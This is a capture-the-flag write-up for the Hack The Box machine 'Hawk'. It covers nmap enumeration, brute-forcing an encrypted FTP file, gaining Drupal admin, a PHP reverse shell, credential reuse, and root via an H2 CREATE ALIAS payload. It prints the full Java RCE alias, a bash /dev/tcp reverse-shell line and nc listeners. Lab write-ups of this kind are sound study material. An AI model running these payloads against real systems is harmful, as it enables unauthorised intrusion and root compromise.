Hack The Box - Hawk

Enumeration

TCP

TCP Nmap scans show a good number of services running. Most obvious is FTP on port 21, which nmap shows having anonymous access. Port 22 shows that OpenSSH 7.6p1 is running on Ubuntu. Port 80 hows Apache 2.4.29, with Drupal 7 running on top.

Nmap scan report for 10.10.10.102
Host is up, received user-set (0.054s latency).
Not shown: 65529 closed ports
Reason: 65529 conn-refused
PORT     STATE SERVICE       REASON  VERSION
21/tcp   open  ftp           syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.34
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh           syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp   open  http          syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)                                                                                                                                                                                        
| /includes/ /misc/ /modules/ /profiles/ /scripts/                                                                                                                                                                                         
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt                                                                                                                                                                                     
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt                                                                                                                                                                         
|_/LICENSE.txt /MAINTAINERS.txt                                                                                                                                                                                                            
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                                                                                                                                                               
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103                                                                                                                                                                                   
5435/tcp open  tcpwrapped    syn-ack                                                                                                                                                                                                       
8082/tcp open  http          syn-ack H2 database http console                                                                                                                                                                              
|_http-title: H2 Console                                                                                                                                                                                                                   
9092/tcp open  XmlIpcRegSvc? syn-ack                                                                                                                                                                                                       
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :                                                               
SF-Port9092-TCP:V=7.80%I=7%D=3/5%Time=5E6153DB%P=x86_64-pc-linux-gnu%r(NUL                                                                                                                                                                 
SF:L,45E,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0                                                                                                                                                                 
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\                                                                                                                                                                 
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l                                                                                                                                                                 
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0                                                                                                                                                                 
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x01\xd8\0o\0r\0g\0\.\0h\x002\                                                                                                                                                                 
SF:0\.\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\                                                                                                                                                                 
SF:0\x20\0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t
SF:\0o\0\x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0
SF:o\0t\0\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\
SF:0l\0l\0o\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x001\x007\0-\x00
SF:1\x009\x006\0\]\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0
SF:s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0J\0d\0b\0
SF:c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o
SF:\0n\0\.\0j\0a\0v\0a\0:\x003\x004\x005\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\
SF:0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\
SF:0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:
SF:\x001\x007\x009\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\
SF:0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D
SF:\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x005\x005\0\)\0\
SF:n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\
SF:0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\
SF:0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x004\x004\0\)\0\n\0\t\0a\0t\0\x20\0o\0
SF:r")%r(informix,45E,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\
SF:0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\
SF:x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0
SF:\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\
SF:0o\0w\0O\0t\0h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x01\xd8\0o\0r\0g
SF:\0\.\0h\x002\0\.\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t
SF:\0i\0o\0n\0:\0\x20\0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0
SF:n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\
SF:0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-
SF:\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x00
SF:1\x007\0-\x001\x009\x006\0\]\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0
SF:\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\
SF:0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0
SF:e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x003\x004\x005\0\)\0\n\0\t\0a\0t\0\
SF:x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e
SF:\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0
SF:j\0a\0v\0a\0:\x001\x007\x009\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x0
SF:02\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g
SF:\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x00
SF:5\x005\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\
SF:0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x
SF:\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x004\x004\0\)\0\n\0\t\0a\
SF:0t\0\x20\0o\0r");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

When we connect to the FTP server, we can see there is a single folder called messages, containing a single hidden file called .drupal.txt.enc.

We can grab it and download it to our machine. We can see that it’s an OpenSSL encrypted file, with a salted hash, that’s been base64 encoded.

HTTP

Navigating to http://10.10.10.102 confirms that this is a Drupal site. Notice that the page references itself as *192.168.56.103`, which is a completly different IP then we would expect.

We find a robots.txt file, with the below disallowed paths.

# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

The CHANGELOG.txt file tells us that this is Drupal 7.58.

UDP

If we run a UDP scans with nmap, we can see that SNMP is running on port 161.

Nmap scan report for 10.10.10.102
Host is up, received reset ttl 63 (0.058s latency).
Not shown: 49 closed ports
Reason: 49 port-unreaches
PORT    STATE SERVICE REASON              VERSION
161/udp open  snmp    udp-response ttl 63 net-snmp; net-snmp SNMPv3 server
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: f438a676ed23245b00000000
|   snmpEngineBoots: 21
|_  snmpEngineTime: 8m20s

Running an SNMP scan with onesixtyone gives us nothing with the standard public community, so we can try feeding it a larger list. As you can see, after scanning over 3000 community names, all we got was the uname -a output.


Initial Shell

Decrypt OpenSSL file

So we know that the file we grabbed from FTP is Base64 encoded, so that’s our first step. We can decode it with the below command.

base64 -d .drupal.txt.enc > drupal_unencoded.txt.enc

Now that it’s decoded, we can use the bruteforce-salted-openssl tool to brute force the password for the file. The command is below. The password we get is friends.

bruteforce-salted-openssl -t 50 -d SHA256 -f ~/wordlists/rockyou.txt drupal__unencoded.txt.enc

Now that we have the password, we can properly decrypt the file with the below command. The text of the file is below as well.

openssl aes-256-cbc -d -in drupal_decoded.txt.enc -out drupal.txt -k friends
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department

So we now have a possible username of daniel and a password of PencilKeyboardScanner123.

Drupal

Logging into the Drupal portal with daniel:PencilKeyboardScanner123 failed, but it worked with admin:PencilKeyboardScanner123.

Right away, we can see that we can create new content, but it’s limited to Filtered HTML, Full HTML, or Plain text, none of which will get us code execution. However, if we look under Modules in the top menu, we see an unchecked option of PHP Filter, which will allow us to create PHP pages. Check the box, and hit Save Changes to enable the module.

When we go to create a new page now, we can see that PHP code is in the list. For the code, I used the PenTest Monkey PHP Reverse Shell file, and customized it to point back to my machine.

Before hitting Save however, open a listener with nc -lvnp 7500, as the page will execute upon saving.

We have a shell as www-data, and can read user.txt from /home/daniel/user.txt


Privilege Escalation

Elevate to daniel

Now that we have a low-priv shell, we should find a way to get access to the account for daniel. Basic enumeration didn’t turn up any low hanging fruit, so we should dig a bit deeper and look for passwords in the existing Drupal site. The command below will output any lines with password in them, within the /var/www/html directory.

grep --color=auto -rnw '/var/www/html' -ie "PASSWORD" --color=always 2> /dev/null

We get a ton of stuff, but a simple browse through finds us a password of drupal4hawk in the /var/www/html/sites/default/settings.php file, which contains credentials for authentication between Drupal and it’s backend database.

If we try this password for SSH as daniel, we get a shell.

Note that the shell we’re dropped into is a Python interpreter. We can escape this with the below code, which will get us a proper bash shell.

import pty
pty.spawn("/bin/bash")

Exploiting CREATE ALIAS for root

In our original enumeration, we saw that port 8082 was hosting an H2 database, which is a Java based, web-front-end database. However, when we tried to access it, we only got an error, since it wasn’t available externally.

However, when we enumerate the network connections active on the target, we can see that port 8082 is available locally. Additionally, it’s running as root, which makes this our primary target.

We can access this internal site from our machine by doing some SSH port forwarding. This will forward the port to the same port on our machine, which will give us access. The command to port forward is below.

ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102

Once we’ve forwarded the port, we can navigate a browser to http://127.0.0.1:8082 to see the H2 console login.

Note that by default, the location being pointed to is ~/test. We’re not sure if this directory exists, so we should change it to /root. Fill in the credentials daniel:drupal4hawk to get access to the H2 console.

In doing some reasearch, it seems that H2 is vulnerable to Remote Code Execution via the SQL CREATE ALIAS method, which creates a java function, that we can use to run commands as root. My code was taken from this excellent writeup.

To create the function, we can use the below code in the console, and hit Run

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

To run the function, we can use the below code to get RCE.

CALL SHELLEXEC('id')

Now that we have RCE, we need to get a reverse shell back. I tried multiple reverse shells, but it seems this method won’t allow for complicated commands. As an alternative, we can create a file with our SSH access called /tmp/bash_root.sh that will get us the shell. The code for this file is below.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.34/7600 0>&1

Make sure you make the new file executable with chmod +x bash_root.sh.

Open a listener with nc -lvnp 7600 to catch this new shell when executed.

In the H2 console, we can trigger the script with the below code.

CALL SHELLEXEC('/tmp/bash_root.sh')

We can read root.txt from /root/root.txt